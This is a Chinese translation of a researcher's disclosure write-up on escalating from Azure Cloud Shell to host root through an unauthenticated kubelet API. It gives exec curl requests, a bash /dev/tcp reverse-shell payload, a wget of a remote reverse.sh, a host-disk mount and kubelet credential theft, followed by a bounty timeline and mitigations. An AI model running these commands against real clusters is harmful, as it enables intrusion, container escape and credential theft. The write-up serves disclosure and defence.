原文:
https://hencohen10.medium.com/i-own-your-cloud-shell-taking-over-azure-cloud-shell-kubernetes-cluster-through-unsecured-558621519cf9
Azure Cloud Shell是基于浏览器的Shell体验,用于管理和开发Azure资源。Cloud Shell提供了浏览器可访问的,预配置的Shell体验,用于管理Azure资源,而无需您自己安装维护版本控制和机器。
因此我们将从“Azure Cloud Shell”服务的后端如何工作开始。

1.客户端通过Azure Portal请求Cloud Shell 2.选择随机的Kubernetes群集3.在群集中为客户端分配可用节点4.在带有客户端令牌的节点上创建容器,允许用户控制其所有Azure 资源
当我使用 Azure Cloud Shell时,我注意到我以低特权用户身份运行,除了运行azure-cli命令外,该用户无能为力。 我试图以不同的方式获得更高的特权,但是失败了。

检查当前控制组后,我发现Cloud Shell正在Kubernetes上运行。 这为我提供了开始挖掘与容器/ Kubernetes相关的问题的思路。
根据我在Containers和Kubernetes上的经验,很容易猜到主机(节点)的IP地址是172.17.0.1,因为这是安装Docker时创建的默认网络接口。

我尝试与Kubernetes和docker使用的其他已知API进行通信,我从docker远程API开始,大多数时候监听(如果不是在UNIX套接字上侦听)在端口2375或2376(如果与HTTPs一起使用)。然儿端口都是关闭的。
Docker Remote API失败后,我继续测试常见的Kubernetes API,发现只读端口(10255)已打开。

只读端口过去曾用于运行状况检查,并且现在默认在更高版本的Kubernetes上被禁用。通过调用此端口,可以泄漏有关正在使用的Pod /命名空间以及运行中的容器名称,Pod名称,主机IP地址等信息。
10255输出结果: https://pastebin.com/vPX6uNvW
由于只读端口的输出未提供突破信息,因此我尝试与端口10250上运行的kubelet API通信。

哇哦! 我很惊讶地看到该端口无需任何身份验证即可访问。
在创建Kubernetes集群时,重要的一点是包括一个证书,该证书将被集群中的节点信任,并且将保护kubelet端口。与只读端口不同,kubelet端口允许以root用户权限在群集中的任何容器上执行命令(为此需要pod名称,容器名称和名称空间)。
10250结果: https://pastebin.com/EVFtxY4w
作为安全实施kubelet证书的示例,我快速浏览了AKS(Azure Kubernetes服务)。
当我尝试访问AKS集群上的kubelet API时,得到以下响应:

该响应表示kubelet端口已安全。AKS客户可以放心。
HACK1:获取我自己Container的最高权限
在我发现执行端口无需身份验证即可访问之后,然后尝试运行一些命令。为了获得对“ Azure Cloud Shell”容器的root访问权限,采取了以下步骤:我记下了从只读端口输出在“ Cloud Shell”容器上运行命令的所有必要信息。
Namespace: cc-b219133b
Podname: cc-b219133b-7d48c6d6cd-qv7vc
Container name: console-agent
第一次尝试是在“ / tmp”目录中创建一个名称为“ hello_world”的文件:
# curl -insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version:channel.k8s.io” -X POST https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-agent?command=touch&command=/tmp/hello_world&input=1&output=1&tty=1

该命令的输出是302页状态代码,这意味着需要完成重定向。 不幸的是,curl不知道如何处理这302个重定向,因为下一页“ / cri / exec / HnPxVYzr”必须使用“ Websocket”进行处理,而curl还没有此功能。 如果未执行重定向,该命令将无法运行。
在搜索之后,我发现可以使用名为“ wscat”的NPM软件包来调用“ Web套接字”,但是存在问题。我无法在系统上安装软件包,因为我还没有对“ Cloud Shell”容器的root访问权限。然后,我遇到了这个为没有“ sudo”特权的用户安装NPM软件包的解决方案:
https://www.competa.com/blog/how-to-run-npm-without-sudo/
安装好wscat“并运行了wscat,成功打开了重定向的页面,这意味着“ touch / tmp / hello_world”命令的执行成功。
#/home/#user/npm/bin/wscat -c https://172.17.0.1:10250/cri/exec/HnPxVYzr — no-check

通过kubelet API以“root”用户作为所有者创建的“ hello_world”文件。
至此,我确认命令以root身份运行,并且可以运行任何希望执行的命令。 然后我想用root用户在“ Cloud Shell”容器上实现反向Shell。
1. 在/ tmp目录中使用以下负载创建了一个名为reverse.sh的文件:
#bash -i>& /dev/tcp/i.p.a.d.d.r.e.s.s/p.o.r.t 0>&1
2.执行反向SHELL
为了执行反向Shell,我重复了在" / tmp"中创建hello_world文件的相同过程,(请记住,通过kubelet API发送的命令在root用户的上下文中运行):
curl -insecure -v -H "X-Stream-Protocol-Version: v2.channel.k8s.io" -H "X-Stream-Protocol-Version:
channel.k8s.io" -X POST https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-agent?command=bash&command=/tmp/reverse.sh&input=1&output=1&tty=1

通过"Azure Cloud Shell"容器(我应该具有低特权访问权限)上的root用户特权建立与我的C&C服务器的连接。
在长时间寻找“有趣”的东西之后,我了解到容器中没有存储任何关键文件,并且该容器是为当前客户构建的。 我无法访问网络上的任何其他容器。 当然,即使升级到容器上的root特权也是一个不错的结果,但还不够。
HACK 2:突破容器并获得Azure主机(节点)的ROOT
作为仅为我建造的容器的root用户,我感到不满意,因此我再次分析了API的输出。
在读取输出时,我发现了有趣的信息,一个在同一容器中运行的容器,名为“ console-admin”。 在我看来,这就像一个前端-后端游戏,因此我当前的容器“ console-agent”是我可以通过Azure Portal访问shell的“前端”,而console-admin是一个可能在“讲”的“后端”。 ”与主机(节点)。在只读端口的输出中,我发现以下行很有趣,因为它已连接到“console-admin”容器
"containers”: [
{
“name”: “console-admin”,
“image”: “cloudconregweuprd.azurecr.io/azconsole-admin:master_20191213.3”,
…………
…………
…………
“securityContext”: {
“privileged”: true,
“allowPrivilegeEscalation”: true
}
“ privileged:true”标志使容器可以访问所有内核功能。
默认情况下,容器使用seccomp配置文件进行部署,该配置文件阻止了44个关键的系统调用,这些调用可能允许将容器分解为主机。特权容器可以访问所有系统调用,包括默认情况下被阻止的44个系统调用。
回到任务,这次我想在“ console-admin”容器(我没有shell访问权限)上执行反向shell,所以我不得不做更长的路:我尝试使用不同的方法(例如bash,python,perl,curl等)在“console-admin”容器上获取反向shell。由于它们都不起作用(因为我不断收到“找不到命令”),所以我决定安装它们(我可以通过kubelet api进行root访问)。使用“ yum”和“ apt-get”也失败,并显示“找不到命令”。根据对不同Linux风格的经验,我已经知道,如果两个命令都不起作用,则可能是因为该容器是基于最小化的操作系统构建的,这在“容器”世界中非常普遍-Alpine Linux。Alpine Linux软件包管理器称为APK。我通过kubelet API执行了“ apk更新”,以查看我是否正确。
#curl —insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H“X-Stream-Protocol-Version: channel.k8s.io” -X POST“https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=apk&command=update&input=1&output=1&tty=1
curl — insecure -v -H “X-Stream-Protocol-Version:v2.channel.k8s.io” -H “X-Stream-Protocol-Version:
channel.k8s.io” -X POST“https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=apk&command=update&input=1&output=1&tty=1

我的猜测是正确的,console-admin容器基于Alpine Linux。 (并且,repositories 也已更新)。
下一步是在“ console-admin”容器上安装“ bash”,以便使用bash有效负载执行反向shell:
# curl —insecure -v -H “X-Stream-Protocol-Version: v2.channel.k8s.io” -H“X-Stream-Protocol-Version: channel.k8s.io” -X POST https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=apk&command=add&command=bash&input=1&output=1&tty=1
该命令必须分为多个“命令”参数,因为Web服务器不知道如何处理带空格的请求。由于我没有Shell访问“ console-admin”容器的权限,因此我不得不从Internet下载反向Shell负载:
# curl — insecure -v -H“X-Stream-Protocol-Version: v2.channel.k8s.io” -H “X-Stream-Protocol-Version:
channel.k8s.io” -X POST “https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=wget&command=https://example.com/reverse.sh?&input=1&output=1&tty=1"
现在剩下的唯一一件事就是在“ console-admin”容器上执行反向shell,以建立与C&C服务器的连接:
# curl —insecure -v -H “X-Stream-Protocol-Version:
v2.channel.k8s.io” -H “X-Stream-Protocol-Version: channel.k8s.io” -X POST https://172.17.0.1:10250/exec/cc-b219133b/cc-b219133b-7d48c6d6cd-qv7vc/console-admin?command=bash&command=reverse.sh&input=1&output=1&tty=1

C&C服务器从特权的“ console-admin”容器接收到连接。
如前所述,容器“ console-admin”设置了特权标志,通过将根分区安装到“ console-admin”容器中,可以轻松地接管主机。

将主机主磁盘(/ dev / sda1)挂载到/ mnt3 /目录中,并显示Azure基础结构的主机(节点)的主机名。
当我可以访问节点文件系统时,我发现了位于/ var / lib / kubelet目录中的kubelet凭据。 凭据可用于与通过kubectl实用程序在主节点上运行的主API进行交互。

Azure的Cloud Shell Kubernetes群集凭据

使用凭据列出集群中的Pod和节点
当我向Microsoft报告这一问题时,我没有尝试接管其他节点,因为它们属于其他客户,并且Microsoft的TOS明确表示,在访问客户信息之前应停止。 他们否认我可以访问其他节点(这意味着我可以访问其他用户的Cloud Shell),因为“ Kubernetes RBAC已到位,并且不能使用exec执行到正在运行的容器中或修改正在运行的Pod”,并要求提供POC。 解决问题后,还有另一种方法可以解决。
由于无法证明我可以绕开Microsoft在此问题上的回答,因此我提出了一个想法来在AKS群集上测试它(我们已经知道它比“ Cloud Shell”具有更好的安全性),并证明Microsoft如何做到 通过部署具有以下详细信息的新Pod来绕过这些限制:
使用存储在节点上的凭据以通过以下方式部署Pod:
⚪初始化时将连接到C&C服务器的“恶意”容器映像
⚪特权标志,以便在POD上具有所有内核功能
⚪“ nodeSelctor”标志,允许用户选择一个特定的节点来调度他的Pod。
可以在以下位置找到POC视频:
https://www.youtube.com/watch?v=iOan8lTeJPM
⚪在左侧,我使用节点#0 kubelet凭据来部署具有恶意映像,特权标志并选择特定节点(#2)的Pod。
⚪在右侧,在01:45,该Pod已成功部署在该特定节点上,并已连接到C&C服务器,具有所有内核功能,并安装了节点#2文件系统。
微软对此视频的答复是:
“视频和以下步骤适用于AKS,由于AKS中的RBAC策略,该视频和以下步骤成功了。 在Cloud Shell中,所应用的RBAC策略更具限制性,并且某些适用于AKS的内容不一定适用于Cloud Shell。”
但是微软没有检查的是如何阻止“ NodeSelector”,因为Kubernetes RBAC的目的是阻止对名称空间/ pod /集群对象上的列表/视图/监视/删除/执行的访问。 无法通过RBAC禁用NodeSelector。
它可以被NodeRestiction准入控制阻止。
HACK3:"Azure容器实例"中任何容器上的权限提升
相同的问题也影响了“ Azure容器服务”,其方式更复杂,需要对远程命令执行进行长时间的暴力枚举,但对在“ Azure容器服务”上运行的任何容器进行权限提升。 我将此问题报告为特权升级,您猜怎么着? 微软将其评为“低”。 是的。 如果您在Azure上运行容器实例,则由于Microsoft的配置错误而导致的容器上的本地特权升级,对Microsoft的影响为“低”。

POC:在Azure容器实例上通过kubelet API进行本地特权升级,在这里我使用了另一种方法,该方法不需要websockets重定向,并且输出立即显示出来。 我在同一容器上使用了“ id”和“ whoami”,输出为root和id 0。
时间线:
2020.1.20报告已发送给Microsoft
2020.01.30Microsoft解决了该问题
2020.03.03Microsoft因特权升级的影响和严重性“重要”奖励10,000美元
2020.03.03发送了有关影响和严重性的投诉电子邮件。
2020.03.13微软将发行奖励授予RCE,奖励30,000美元
根本原因和缓解措施:
1.阻止容器(pod)和主机(节点)之间的网络连接,这可以通过IPtables完成。
2.在主机上安装docker时,默认为节点使用不同的IP,而不是172.17.0.1,它会使用ip 172.17.0.1创建一个新的网络接口。该节点非常容易。
3.禁用只读的10255端口(过去曾用于“健康”检查,现在不再需要)。
4.通过运行带有标志“ anonymous-auth false”和证书的kubelet API来保护10250(Kubelet执行端口)
5.阻止“可疑”端口的出站连接-我能够在端口4444上从Pod到我的服务器(在其他云提供商上)创建出站连接。
6.从console-admin容器中删除Privileged标志,相反,您可以构建一个“ seccomp”配置文件(https://docs.docker.com/engine/security/seccomp/)并将其附加到容器,以最大程度地减少容器访问内核功能。
译者按:
作者通过不安全的Kubelet API 泄露信息和执行命令,其中绕过了非root无法安装软件的限制,最终获得了RCE和权限提升。各位白帽子在挖漏洞时,不妨尝试访问一下,一些api端口。比如火线曾经收到一个漏洞,就是10255端口信息泄露。大家感兴趣的话,不妨自己去搜一搜试一试。

本文迁移自知识星球“火线Zone”